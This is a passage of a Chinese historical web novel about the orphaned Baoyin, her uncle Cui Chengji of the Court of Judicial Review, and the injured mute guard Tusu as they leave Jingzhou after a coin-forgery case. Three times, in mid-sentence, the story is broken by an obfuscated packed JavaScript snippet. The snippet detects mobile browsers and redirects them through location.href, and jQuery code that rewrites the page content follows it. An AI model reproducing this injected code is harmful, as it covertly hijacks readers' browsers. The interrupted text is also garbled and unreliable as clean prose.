“不必了。”崔承戟阖目长吁一口气，“二叔就过来瞧瞧你。今天身体怎么样？” “好得很，没什么不爽利的。就是药苦得紧。” 崔承戟轻笑：“宝音是想桂花糖了，回头教榕参往品芳斋称二两送来。”说话间血腥气如游丝慢慢攀上来，他不愿在小女娘屋内多留，让她闻见这股血气，故而把话头朝短里掐：“晚间你自己用膳，不必再过去了。明后日二叔要去青邙山办差，早晚不必过去请安。有什么，教小厮径自去寻我就是。” 他环视四周，细细打量了宝音屋内陈设，以及站在一旁伺候的绣条，见诸事无异、处处妥帖，这才提步要走。只是转身的一刹那，官袍袍角打了个旋儿，将里衣沾染的丝丝点点血痕暴露出来。宝音瞧得分明。 “二叔这就走了？” “嗯，乏得很。”崔承戟半只脚已跨出门槛。 此话一出，宝音便知不能强留二叔了。她那些不认得、不明白的字，也只好日后再来请教二叔；她对于雀音阁失火、榕度等人身死的疑影，也只好日后等二叔闲暇时再请他解惑。宝音下床，隔着好几步的距离，朝二叔规规矩矩行礼。 崔承戟点点头：“好。”说罢，再不回头，径直离去。 待要收回视线，宝音瞥见她放在几案上、密密麻麻全是她注红的医书，有风吹来，撩起最上头那页的页角，将翻未翻的。宝音垂眸走近，一掌按在书页上，那挣扎着要飞的纸片子登时服帖不动了。 晚间的饭照旧摆在屠苏屋里。贞杏也醒转了，只是此刻还有些痴，神魂似乎尚未归窍，问三句倒有两句不答腔，她只能点头摇头地回应，间或答些简短的字眼儿，却说不出完整的长句。苏郎中说贞杏此刻神智尚未清明，还是再静养些时日才好。宝音便不敢再扰她了。 苏郎中正给屠苏换药，小厮登旺站在一旁抻着头学。苏郎中取出两只瓷瓶，举在登旺眼前：“这瓶黄的，专治烧伤，是敷在后背的。这瓶靛蓝的，专治刀伤，敷在前胸和腰腹的刀伤处。记住了吗？” 登旺眨了眨眼，用力点头。 明障子“哧啦”推开，宝音和绣条各拎一只描金食盒入内。屠苏趴在枕上，骤见宝音进来，脊背一僵，忙将脸埋进青布枕里。 宝音见他这样心里便有些不大自在，但想到他如今重伤未愈，前时又哑了口，其中多多少少是有她的缘故，那些不自在很快也便消散了，只剩下层不薄不厚的愧疚鎏在心尖。她装作没瞧见，偏头去看药案，问苏郎中：“屠苏今天可好些了？” 苏郎中年高德劭，故此只略略朝宝音颔首，便答道：“刀伤倒还好，已经长痂了。就是背上火燎的烧伤，新长的痂旁有些泛脓水，每日须得用苦参熬汤淋洗干净了才好。”说罢，苏郎中转头同屠苏及登旺嘱咐：“记住，万莫捂着伤处。实在是冷了，就把伤口缠好，才能盖被子毯子。可记得了？” 登旺点头如捣蒜。 那厢宝音听了苏郎中的话，忽忆起日间看书时恰好读的就是“金疮化腐”。彼时她虽逐字细嚼了，但就像阵风拂过粼粼湖面，只留了片刻涟漪。待这会子听得苏郎中提及“苦参熬汤淋洗伤口”，方如醍醐灌顶。宝音指着药案上的“苦参三钱”，笑道：“书上还说纱布黏连，棉絮沾染疮口更易发脓。因此缠裹纱布前，须先用桑皮纸隔在疮口。” 登旺一听，拊掌“呀”了一声：“怪道发脓了！今儿午后扶屠苏哥放水，图省事拿棉布直裹了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311929|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他言辞粗鄙，宝音和绣条相视一眼，皆垂了眸；屠苏虽趴在枕上，耳根子也烧得通红。唯有苏郎中长叹口气，敲了登旺一记脑门：“猢狲！这桑皮纸我不过没在药案上录下来，你就忘了？早间临走时特特嘱咐过的，你呀，险些儿害了屠苏。”他自药箱中取出仅剩的几张桑皮纸：“今晚上用罢。明儿可别忘了。” “忘了也无妨。”宝音含笑，“有我记着呢。” 再寻常不过的话，旁人都没觉得怎样，但屠苏猛然转过脸，皱紧长眉，直愣愣地“啊”了一声。他如今不能说话，但会模仿字的读音，譬如他此刻的这个“啊”，初听简简单单，稍一思索，他说的岂是“啊”？分明是个“走”字。 他不要宝音在这。 登旺听明白他这层意思，忙咧嘴打了个哈哈，躬身送苏郎中走。那厢绣条也慢慢咂摸出异样来，她知屠苏比她来得早，也知屠苏曾舍命救过宝音，故而笑道：“登旺，我同你一起送送苏老先生。” 屋内登时冷清下来。屠苏头一偏，重新埋进青布枕里。宝音自坐在榉木罗汉床床沿，看他缠在前胸与肩头的一圈圈棉纱布，和后背的新肉旧伤。 “我知道你讨厌我。”宝音低头垂眸，“要不是我，阿大说不定就不会死；要不是我，你就还能开口说话；要不是我，你此刻不必趴在这里，身上没几块好肉。” 屠苏仍伏在枕上，不动。 “可是，我也没法子啊。我不想阿大死，不想你变成哑巴，不想你受伤，我也没法子啊。”她咬唇说着，不自觉指尖掐住手背的肉，留下一道道圆圆的月牙儿。 那厢屠苏把脸埋得更深，等他意识到枕巾湿透的时候，他已经泣不成声了。他不过比宝音虚长了三岁，因他不知自己生辰，故而他也说不清自己现在究竟是十五岁，抑或是十四岁。但这些到底不重要，他满心满腔里都是委屈，阿大回来寻他却被人砍头，他委屈；他被人灌了哑药，也许从此再也无法说话，他委屈；还有，他舍出自己的命去救宝音，到头来崔承戟却同他说：“京都贵女的清誉，千金难赎。” 他知道自己出身卑微，是尘埃里最低贱的一粒。可他待宝音的心，是纯粹的呀，他感谢宝音把他从英道馆里拉出来，感谢宝音予他“屠苏”、赐他新生。他辩驳不了自己，因他哑了，所以这些委屈、愤恨、羞辱只能梗在喉咙里，不上不下。镇日趴在这木板床上，他快被这些念头绞死了。 到现在，屠苏觉得崔承戟说得有理，宝音是受难的凤凰，而他天生就是一只草鸡。他再怎么救宝音，再怎么舍出自己一条命，他天生是一只鸡的命！鸡就得为凤凰献出自己的命！ 忽而，一只手攀上他搁在枕边的臂膀。屠苏抬头，却见宝音也是两行清泪顺颊滑下，一颗泪珠坠在她下颌处堪堪挂着。她猛吸了下鼻子，那泪珠直直坠落，滴在屠苏臂弯。 “对不住，都怪我，是我害死了阿大，是我害你成了哑巴、受这么重的伤。”宝音抽泣道，“你不能骂我，我替你骂。” “我就是个丧门星！非但是你，连贞杏、榕度、鱼应都被我害了！” 话未说完，屠苏温热的手掌已覆在宝音唇前。他抿着唇线，定定望着宝音，不肯教她再说下去了。 23. 整整 少年粗厚的掌心猛地覆在唇上，宝音立时愣住。她双眼蹬圆，与屠苏四目相接，眼睛一眨，泪水顷刻挤出来，流到屠苏的手背。 屠苏意识到自己的冲动和唐突，忙撤回手，可手背的濡湿却留了下来。脑海中又浮现崔承戟的话，屠苏今生第一遭产生了异样的感觉。宝音似乎和从前不一样了，但又是没变的，眼睛还是那双眼睛，嘴巴还是那只嘴巴，大抵是他的心境变了。屠苏说不出这是什么感受，只是自胸腔腾地涌起一股冲动，想抱住宝音、和她一起痛哭的冲动。他委屈，也知道她委屈。 新伤未愈，一举一动似有游针牵引，稍稍提臂起身，便是好一阵刺痛。屠苏叹气，扭头重新趴回青布枕上。这遭闭眼，见到的却是那夜他拼死冲入火场救宝音的场面。她浑身由薄毯盖住，在他怀中奋力挣脱手脚，口中不停地尖叫。他急得焦心，却只能“啊、啊”地着急唤她。 也不知过了多久，屠苏感到臂膀处有人轻轻推了下。他转过去，宝音上齿咬着下唇，手中捧药碗：“我知道你恼我，可药总是要喝的。” 屠苏喉头滚了滚。 “就当是我赎罪罢。”宝音猛吸了下鼻子，把泪憋回去，将药勺递到屠苏嘴边。 屠苏没法子了，他从来都不曾恼过她的。他抿完勺中苦药，眉心蹙紧，下一瞬，口中却教人塞了颗甜丝丝的桂花糖。 宝音笑开：“还苦吗？” 屠苏难得的展颜，摇头。 宝音垂眸，嘴角含笑：“二叔知我最怕药苦，日后你喝药，也含颗桂花糖，就不苦了。” 只是那一声“二叔”又将屠苏拉回现实，崔承戟的告诫重新烙在他心头。屠苏敛了那一丝丝的笑，眸光重新黯淡下去。 宝音看出他的转变：“你怎么了？” 他没说话，而是从宝音手中夺过药碗，仰脖一饮而尽。空空的药碗掼在床沿，一颗棱角圆润的桂花糖在碗底四下哐当摇晃，晃了宝音带泪的眼。 自这日后，虽屠苏仍旧是不大理宝音，但宝音还是时时来看望他。三日后，贞杏歇好了身子，同绣条一起贴身伺候。白日里宝音读医书，贞杏和绣条就坐一旁做针线，到了用膳时分，三人常把膳摆到屠苏房里，监督他喝药、监督登旺给他换药。很快，贞杏、绣条和登旺也都熟起来，几乎日日要说笑玩乐。宝音便同贞、绣二人道：“屠苏恼我，我也不好常去看他。你们二人去，倒是合宜的。” 绣条皱眉不解：“他一个护卫，怎生还恼小姐了？” 宝音叹气：“前番他数次救我，他的伤、他的哑病都是为我的缘故。” 既是如此，绣条也无甚可说，午后她便同贞杏去了屠苏屋里，搬了条窄长的脚踏搁在屠苏床前，又叫上登旺，三人带着屠苏摸牌斗棋。宝音怕自己出现，惹得屠苏心里不痛快，只好站在屋外窗下，听屋内四人言笑晏晏，也才稍稍放下心。 宝音那本医书已看完泰半，其中脉络繁复，难以贯通。宝音便将不懂之处悉数记下，想着等崔承戟闲暇下来，再去问他。这么一等，就是半月之后，崔承戟终于忙完靖州的私铸铜钱案。 这日上午，崔承戟从前头衙门里销案回来，榕参等人已帮着将行李抬到马车上。那厢宝音屋中，主仆三人还在收拾残装。崔承戟单手挽了卷宗，风尘仆仆，甫一跨过门槛，便听见贞杏问：“小姐，这些书也带么？” “当然。”宝音一把将书尽数塞进箱笼里，“我还没读完呢。” 崔承戟从她身后探头，箱笼中安静躺的，可不是他教人寻来的医书。这些日子他忙案子的事，没想到小姑娘竟真把此事作了真，到现在还未放弃。崔承戟眼疾手快拿起最上头那本，书页开合，其中密密麻麻的注红煞是惹眼。崔承戟越看眉心皱得越紧，不冷不淡地笑了声：“宝音还真是满心眼里都想学验尸。” 贞杏和绣条眼见崔承戟面色不大好的样子，忙福身告退，屋内只剩下崔氏叔侄。 宝音抽回医书，宝贝似的拢在怀里，轻轻搁回箱笼中。她冲崔承戟飞了飞眉毛，扬起笑：“是呀。初时读还觉得分外枯燥，读得多了也就还好了。” 崔承戟瘪嘴：“何苦吃这些罪。” 宝音正要驳他，院里响起榕平的声音：“大人呢？这匾额是绑那四驾大车后么？” 一时院中纳罕声四起，宝音跟随崔承戟步出房门，正见那只“雀音阁”的匾额由榕平等四人抬着，螃蟹似的往后门马车处移去。 宝音“咦”了一声：“雀音阁不是烧了么？” “匾额还好好的。”崔承戟立在她身后，“这次正好一块带回去。” “那雀音阁和一品堂呢？” “卖了。”崔承戟举目感受穿堂风，“往后，我与宝音，怕是再不回来了。” 宝音顿时笑开，尾音藏不住的惊喜：“当真？”她忍不住欣赏这只匾额，目光追随而去。 崔承戟将她的模样看了个饱，轻笑：“本不想带回去的，也是麻烦。偏偏这匾额是圣上御笔敕造，不带也得带了。” “圣上御笔敕造？”宝音不敢置信，“二叔怎么从没跟我说过？圣上为何赏这块匾额给二叔？”她一箩筐的话还未来得及问完，二人迎面撞上由登旺搀扶的屠苏。 屠苏身上披了件褂子，隐隐约约露出身上缠绕的棉纱布。迎头碰上两位主子，屠苏及登旺一齐弓身作揖，宝音一壁上前欲拦他，一壁道：“小心牵动了伤口。”她手却教人从后扣住，崔承戟沉声：“做什么？” 宝音回头，懵懂看二叔：“扶他呀。屠苏受伤了，苏老先生说过不能乱动的，容易撕扯伤口。” 那厢屠苏已做了个全全的礼，登旺也赔笑道：“不妨事的，屠苏年少，根基尚固，伤已好了许多。” 宝音蹙眉，直晃晃盯着屠苏、登旺二人，上次苏老先生分明不是这样说的，他说屠苏侥幸躲过致命伤，已是命大，若此番不能安心修养，日后正常生计也怕受影响。因此缘故，宝音正想着回京都后想法子延请名医替他医治。 崔承戟沉声：“既如此，早些扶屠苏上车罢。”未待二人行礼回答，崔承戟已拉着宝音往他所乘坐的马车跟前走去。 他将宝音抱上马车，待宝音入内，崔承戟放下车帘，唤来榕参：“另雇辆小马车，安置屠苏。”他顿了顿，又吩咐：“屠苏重伤未愈，让他们行得慢些，远远儿跟着我们，不必追进程。” 那日崔承戟告诫屠苏时，榕参亦在场，故而他此刻迅速明白崔承戟之意，当下就唤来一名小厮，付下雇车银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337408|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱，再唤登旺将屠苏安置上去。 那厢宝音等在车内，膝上躺了一本她注红的医书。崔承戟挑帘入内，见她膝上医书，不动声色地皱眉。 “二叔，这是我近日所读感悟，还有许多不明白的，不认识的，二叔能替我解解惑么？” 崔承戟大马金刀靠在另侧椅座上，屈指扶额，语调懒懒：“待会儿，乏得很。” 宝音立时紧张起来：“怎么了？是不是那毒又发了？” 崔承戟缓缓睁眼，睨了她一眼：“也不知我家小宝音近日都在忙些什么，二叔的毒早解了，宝音竟不知道吗？” 宝音“诶”了一声：“二叔不是忙着销这次的案子，我都好几日未整整地见过二叔一眼了。” “还有不曾整整地见过我的时候？”崔承戟失笑，心想着“整整地见过”是小妮子从何处学来的字眼。 宝音莞尔颔首：“二叔每日卯初出门办差，我就提前一炷香时间醒，让贞杏悄悄把木窗支一条缝，每次都能见二叔出门呢！” 崔承戟仍旧是方才那副屈指为枕、倦乏困顿的模样，但嘴角早已随着宝音的话悄悄扬起。他悄悄一侧脸，迅速敛了笑，随之一同消逝的，还有方才因宝音溺于医书的不痛快。再抬头，少卿大人又换上那副身为长辈才有的正经端方：“教我们阿满担忧了。” “不过，二叔这毒是如何解的？前时榕度大哥说过，”提及榕度时，宝音声音不自觉变轻，“二叔的毒极其诡异复杂，恐怕只有回京都请教宫中名医才有法子。” “那个毒，只怕宫中太医也解不出来。普天之下，最好的解药，往往在下毒者那里。” “郑伯益。”宝音脱口而出。她想起自己装死那夜，二叔同郑伯益的交谈。当时，二叔就猜测是郑伯益下毒，其目的就是毒杀崔承戟，教郑浴对这个出身不显的庶子刮目相看。 “是他。”崔承戟以指叩额，“他招了很多。” 宝音信口叹道：“我还以为他这样的人，是咬死也不会说的。” “有时候，下毒者比普通人更怕被下毒。” 宝音愣怔，不敢置信地抬眸。 崔承戟轻笑出声：“逗你的。郑伯益此人，心结悉在其父郑浴一人身上。我不过是告诉他，他在雀音阁闹鬼那一夜，郑浴想的却是如何把郑伯约平安送出靖州，就连次日我们抓住郑伯益，郑浴都不曾像当初救郑伯约那样亲自上门见我，同我打擂台，明里暗里施压要我放了郑伯益。他就死心了。” 宝音怅声：“这样看来，他也是可怜人。” “呵。”崔承戟自鼻腔中冷笑出来，“他手上人命不知凡几，雀音阁火场一案的榕度、鱼应等人，是他药死的。青邙山一案中，绑你和贞杏的王三吉兄弟，还有那屠苏的兄弟阿大，是他毒杀，又教山贼搁下头颅，阻碍我们核查死者身份。除了这些，就连当日我意外在靖州别院救你，细论起来，也该谢一谢他。” “这都如何说？” 车帘外，榕参跳上车板，双手持缰绳，甩鞭慢行。崔承戟并不着急回答，而是斟满两盏清茶，一杯递予宝音，一杯自家饮了，待得满口留香，才缓缓将这一个多月以来靖州所发生的大小案子以及他背负圣命而来所查的靖州私铸铜钱案道来。 24. 教导 两个月前，京都城发生一起命案。死者是位老鳏夫，膝下一个出嫁女儿，被夫家蹉跎得近乎要悬梁自尽。 老鳏夫心疼女儿，决心救女出火坑。可夫家却要求给足三十两银，才愿意放和离书。老鳏夫将毕生积蓄拿出来，又卖了家中几亩良田，才凑够三十两，换得女儿净身出户。 这三十两流到女儿前夫手上，那浪荡子当夜便去赌坊赌了个昏天黑地，临走时却教人押住，打了个半死。原来他赌资中有近二十两皆是私钱。那浪荡子气不过，使了家丁把老岳丈打了一顿，次日老人便去世了。 两家打起官司，私钱也便抖落到明面上。原来今年开年以来，京都城民间便已有许多私钱流通，但一般只在普通老百姓间辗转，即便发现了，这些人也不敢出头。到了这老鳏夫之死，私钱已到横行京都的地步。大理寺插手进来，进而查出这私钱来源靖州。可数年前朝廷已多次派过使臣来靖州探查，如今又冒出来，陛下甚怒，钦点了大理寺少卿崔承戟查办此案。 崔承戟携属下来此，尚未投宿官驿，就在途中偶遇强盗夜抢村民，且残忍杀害正在分娩的妇人。他携手下私卫一路追踪，却误打误撞闯入关押宝音的宋家别院。 “宝音，你知道我是如何确认关在别院里的人，就是你的吗？”崔承戟抿了口茶，继续说道，“因我们追到别院前，那伙盗贼便消失了。好巧不巧的，两个砍柴人路过，其中一个说：‘今儿这门又教铁锁拴起来，怕是那崔小姐又犯错了。可怜见的，父母俱亡，如今养在舅舅家，日子却这般难过。‘我抬头一看，匾额上赫然是个宋字。” 宝音捧着茶盏，也怔怔反应过来。当初二叔雨夜相救，确实太过巧合。 “这与郑伯益有关系吗？” 救下宝音不久，一行人便遭遇刺客。崔承戟为护宝音，受到刺客暗算，中下慢毒，差点丧命于此。而那伙儿刺客，根据宝音提供的柳叶马头线索，后来也被榕参查出，是郑家派出的死卫。 “引我去别院救你，正是郑伯益的手笔。” 宝音不解：“从前我近乎不曾见过他，他何故帮我？” 崔承戟冷笑：“他也不大认得你，但却知道，你在宋家过得不好，也知道此番来靖州查私钱案的使臣，是你的叔父。” 崔承戟救下宝音后，逐渐得知宋家的种种恶行。为替宝音报仇，他自然要将宋家这些年的腌臢事一一翻出来。郑伯益算准这点，将许多私银案的线索安到宋氏兄弟头上，因此崔承戟最初查这些案子时，多是从宋家身上寻线索。 “宝音，”崔承戟忽然开口，盏中茶汤随着马车行驶荡漾出一圈圈涟漪，“郑伯益真正高明之处，在于他哪怕撒谎，其中有九成也是真话。” 宝音将茶盏搁在案几上，凝眉道：“宝音不明白。” “他虽将私银案引到宋家身上，但并非彻底撇清自身。最初查案时，比方说一桩案子，宋家是主谋，他也并不避讳郑家是帮凶。他故意漏出破绽，但真正致命要紧的线索，却瞒得紧。所以，初看那些卷宗，第一眼总以为是宋家做的，郑家不过在里面起个帮闲作用，有错、有罪，但不致死。可一旦深究下去，却不同了，一项完整的案子，应当严丝合缝，其中每一处关窍，都符合逻辑常理。” 崔承戟愣住，他一时反应到自己正与宝音说破案的要义，却不明白自己何苦同宝音讲这些。他望了望宝音，小姑娘仍乖巧坐在眼前，眼巴巴地看着他的脸，眼巴巴地等他将这些说下去。崔承戟捻了一块搁在白瓷盏里的芙蓉糕，递到宝音唇边。 宝音小咬了一口，接过芙蓉糕，眨了眨眼：“二叔怎么停了？还没有讲完呢。”那一点点芙蓉糕的粉屑儿留在唇角，宝音伸舌轻轻舔去，见崔承戟还望着自己，咧嘴笑开。 那厢崔承戟却蹙了眉，抿唇不声响地抽过宝音塞在荷包里、露出小小一角的藕荷色罗帕，轻轻替小姑娘拭唇，肃声：“行止要安静妥帖，方为大家闺秀、名门贵女之像。” 宝音的笑慢慢熄灭，因过往经历，她本就有些敏感自卑，如今听二叔如此说，她心知二叔是为她好的，可不知怎么，心口泛了层酸涩的苦水。她从前身边并无教引嬷嬷，自然不知大家闺秀的规矩。她想掐灭这点心酸，偏偏那苦水越来越苦，她也不知该如何了，拈着芙蓉糕的手落回膝上，宝音接过罗帕，小心翼翼覆在膝盖上，随着马车颠簸行驶而散落的糕点碎屑儿也就扑朔朔地落满罗帕，再不会脏了别的地方。 崔承戟自然想不到小女娘这百转千回的玲珑心思，他冷观宝音如下做派，还当是小姑娘听进了他的话，不觉微微颔首。 身边养一个小姑娘，当真是不一样。 向来冷静以至于冷漠、素来端方以至于不近人情的少卿大人不由在心中感慨。自救下宝音以来，他身边非但多了各色花钿头面、锦绣罗裳，就连这原本只搁卷宗和茶酒的小几案上，如今也是时时摆放各类糕点果子。那日榕参买了一包枣泥核桃酥和桂花糖摆在他书案，他皱眉不解：“摆这些做什么？”榕参摸摸后脑勺更是不解：“不是大人说，小姐有时来书房念书，教属下准备些吃食果品么？”自那日起，崔承戟猛然发觉身边的铁锈味儿似乎冲淡了不少，连榕参那厮身上，似乎都有了些甜腻腻的香气。 崔承戟向后仰头，倚在垫背上，慢慢阖目。风挑起车帘钻进来，非但有春日特有的清香，还有小姑娘身上香膏与美食混杂的甜香，又轻又柔，丝丝攀到鼻尖，连日审案的阴郁心情终是消散了泰半。崔承戟甚至都没感觉到自己弯了唇瓣，只觉得暖风和旭、百花初绽，他身边也有一朵小玫瑰，差点因他的疏忽枯萎，好在他及时发现。如今，他要备好仙露春醅，筑好软泥花圃，慢慢让这朵小玫瑰娇养长大，而后静待良时、等花开放。 车停时，崔承戟已悠悠醒来。榕参刚在车板上道了一句：“到了！”宝音忙弓着身子，一打帘就出去了。崔承戟睁眼时，只瞧见宝音娇娇小小的背影，只听见豆蔻少女惯有的清脆嗓音：“榕参，抱我下去。” 崔承戟皱了皱眉。小妮子心性幼稚，还不懂得男女大防，他虽乐见宝音纯真摸样，但亦知这并非全是好事。崔承戟决定用过晚膳后，再好生同宝音讲讲这些规矩道理。 榕参自是不敢抱宝音的，他弓背跪在车板前，让宝音踩他脊背下去。宝音不肯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356905|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榕参只得从车后取了轿凳，让宝音踩了下来。小姑娘抱着一团不知什么东西，一溜烟儿就跑了。榕参低头收轿凳，起身时正碰见崔承戟打帘而出，冷眸绷唇，眯眼盯宝音的背影，像在想什么。 宝音将剩下芙蓉糕分给贞杏、绣条、鱼泉等人，桑皮纸里还剩下两块，她要留给屠苏和登旺。可饶是宝音在三驾马车前后四周跑了好几圈，都未瞧见屠苏、登旺二人的踪影。 恰好崔承戟与榕参去看扣押犯人，宝音跑到崔承戟跟前，脆泠泠地问：“二叔，屠苏呢？” 崔承戟的脸登时黑了三分，榕参知自家少卿不愿宝音与屠苏太近，忙笑着开解：“屠苏受伤，行路不宜颠簸，只怕牵扯了伤口，故而少卿大人特特给他新租了一辆马车，一路只许缓行，以便他养伤。” “哦。”宝音有些落寞地垂了眸子，看看怀中仅剩的两块糕点，叹口气，再抬头时扬了笑，“还剩两块芙蓉糕，就给榕参大哥和榕平大哥罢。” 桑皮纸包着的芙蓉糕被强行塞到榕参手中，宝音朝崔承戟福了一福，道句：“二叔，我去歇息了。”转身就走。 榕参浑身一僵，忽觉身侧视线灼热，烧痛他半侧身子。榕参忙捧上芙蓉糕：“少卿大人赶路劳累，先用块糕点垫垫？” 崔承戟蓦地眯眼笑了：“呵，只剩两块芙蓉糕，还是给你和榕平罢。” 榕参手一抖。崔承戟已兀自往扣押郑伯益等犯人的屋子去了。 此间官驿如今只剩两间上房，正好崔承戟和宝音入住。宝音自回房后，便待在屋内没有出去。贞杏和绣条坐在旁边做针线，宝音也捻了一根秋香色的丝线，撑开绣绷子，继续绣那卧睡石上的小兔。 她此刻绣兔所用的布料，正是那日崔承戟蓝雀补子下穿的里衣，衣角淋漓着洗褪色的旧日粉红血痕和今遭初染的朱红新血。朝廷官服，不可随意丢弃。宝音想起绣条为养父、养兄缝衣纳鞋，于是央了绣条教她刺绣，想在这里衣的血痕处绣几只小兔，遮住那些可怖。 银针刚刺入布料，榕参叩了两下门，稳声道：“绣条姑娘可在？你家阿兄追来看你了。” 屋内三人无不一愣，宝音和贞杏停了手去看，绣条也怔在那儿，手一顿，指尖立时长出一朵鲜红的花苞，两行泪随之滚落脸颊。 “小姐，我……”绣条呜咽着望向宝音。 宝音忙说：“诶，你去罢，你快去呀。” 话音刚落，绣条就将绣绷子搁在篮里，一阵风似的跑出去了。榕参却没有立刻离去，而是等绣条噔噔噔跑下楼，他才朝宝音拱手作揖：“少卿大人说，绣条是小姐身边的丫鬟，如今绣条家人来望她，小姐可备些薄礼，一来彰显主家恩德，二来绣条家境囧困，也算结个善缘。” 闻言，宝音忙搁了绣绷子要去翻箱笼，榕参步进屋内，掏出一鼓鼓囊囊的荷包搁在桌案上，继续道：“少卿大人还说，小姐身边的礼多是钗环首饰，给他家反而还要去典，不值当。这是少卿大人为学小姐备的，荷包里拢共三四十两，不必全给了，剩下的路上碰到什么人，留着继续赏。” 宝音双手捧起荷包，三四十两银沉甸甸的直坠手。 25. 卢氏 绣条的脸刹那间红起来，兄妹二人皆是愤愤不平，偏那女子锦衣绣服，身边又有豪奴美婢相伴，看上去非等闲人家小姐。 绣条阿兄撇开眼，捉了绣条的手，哑声：“走，我们外边说话。” 那女子冷哼一声：“说起来像我欺了你们似的。”言罢，一扭身朝里头走。 宝音见绣条及其阿兄垂头走出，心里也是不忿。她故意扬了声：“绣条，你们出去做什么？外头吵吵嚷嚷的，有什么离别的话，不如回屋里聊。” 未等宝音话落，那楼下的幕离已慢慢抬起，隔着软烟罗纱，宝音瞧不见幕离后的女子是何等面目，又是如何注视自己。她心里有些发怵，但到底强撑起来，挪开眸子笑盈盈去看错愕的绣条兄妹。 榕参瞬间明了宝音用意，她是在给绣条撑腰。常年跟随崔承戟浸淫在大理寺，榕参见惯了这些趾高气昂、外强中干的高贵人，此刻神色倒松泛许多，他扬了扬鼻尖，弯了唇瓣：“绣条，愣着做什么？小姐唤你们上楼呢。” 贞杏站在宝音身后，也不觉暗自发笑。那女子说绣条阿兄是“脏的臭的”，偏偏自家小姐邀他们上楼交谈。如此一来，那女子进来也不是、离开也不是。 果真，幕离后的那张脸盯住宝音不动，不肯轻易开口了，反是站在幕离旁边的、穿红戴绿的丫鬟冷笑着：“奴婢眼拙，原来这两人是小姐的家奴。不知这位小姐是哪家的，竟舍得自家家奴在谷澜河边驮粪驮泥？”言罢，这丫鬟不由笑起来。 这番话说得婉转，宝音自然听不大懂，还当是她问自己出身。榕参却知道，那丫鬟是说宝音身边的小厮丫鬟在外头做那些腌臜活计，如此一看，宝音的小姐气派也无甚尊贵的了，凡正经门户的千金小姐，身边伺候的丫鬟小厮多半是家养的，出身清白，顶得上普通人家的半个小姐，哪里会跟这“驮粪驮泥”的扯上干系？故此，这丫鬟问宝音出身是假，暗讽宝音冒充千金假威风是真。 榕参余光瞥见宝音正要开口，忙朗声笑道：“谷澜河的水养人，淤泥里出清莲，粪土里沤稻禾。不知姑娘是哪家的，怎么满嘴里奴啊粪啊的？诶呦，我们都知你是个奴婢，你也不必这么提醒我们。”榕参佯作想起什么似的，朝宝音拱手作揖，赔笑道：“属下失言了。” 他刻意讲重了“属下”二字，如此便将自己与奴仆撇得干净，转而却悄悄抬眼，朝贞杏使了个眼色，低声道：“搬大人的名讳出来。” 贞杏愣了一下，旋即了然，厉声同榕参道：“好你个榕参，当着小姐的面说这些话，少卿大人素日的规矩你真是忘了！等回了京都，我非要到侍郎老大人面前告你一状！” 榕参忙把腰弯得更低，嘴角却压不住笑，两颊抖得不停。 那厢楼下丫鬟还要出口，却被幕离女子拦住。幕离女子挑了眼前软纱，露出一张尖尖脸儿来，细眉红唇，眉心粉痣，端的是妩媚袅娜。她略一扬眉，声音也没了方才的嚣张气焰：“原来是京都崔家的小姐。”幕离女子稳步行至楼上，立在宝音跟前，眼尾斜斜飞起：“我姓卢，今番也要往京都城去。若行路便宜，不知可否与崔小姐搭个伴儿？” 纵是宝音再怎么迟钝，也看出方才榕参与贞杏唱双簧抬她身价，更看出眼前卢娘子的拜高踩低。她扭头看还扭捏站在楼下的绣条兄妹：“怎么还不上来？快回屋里去。”等见绣条兄妹垂头走进屋，宝音才开口拒绝：“那怕是不方便了，卢娘子。”说罢，携贞杏转身回屋。 榕参却不着急，待宝音等回屋，他眯眼瞥这卢娘子：“我家小姐心善，把那些‘脏的臭的’都往屋里拉，只怕污了卢娘子的眼呢。” 卢娘子咬牙顿足，恨恨骂了一句，榕参已噔噔噔溜开了，宝音的房门也咚的阖上。跟在卢娘子身边的小丫鬟垂红儿小声道：“小姐，何必上赶着去……” “你懂什么！”卢评芳斥垂红儿，“牙尖嘴利的丫头！也不睁眼仔细瞧瞧，人家是大理寺少卿的侄女！刚在靖州掀了好大一阵风浪呢，我们能惹她？” 垂红儿嘟囔着嘴：“那不是小姐先说她的人是驮粪驮泥的么……”此言一出，垂红儿就生生受了卢评芳一记掌掴。这声响不小，非但官驿正厅里的人无不被停眸看此处动静，连宝音屋中的交谈声也戛然而止。 垂红儿觉着自家受了天大委屈，眼圈立时红了，呜咽着说了一句：“奴婢本是为姑娘好！”言罢，捂着脸扭身就跑出去了。 那厢卢评芳冷笑一声，眼眸忍不住去窥宝音房中动静。 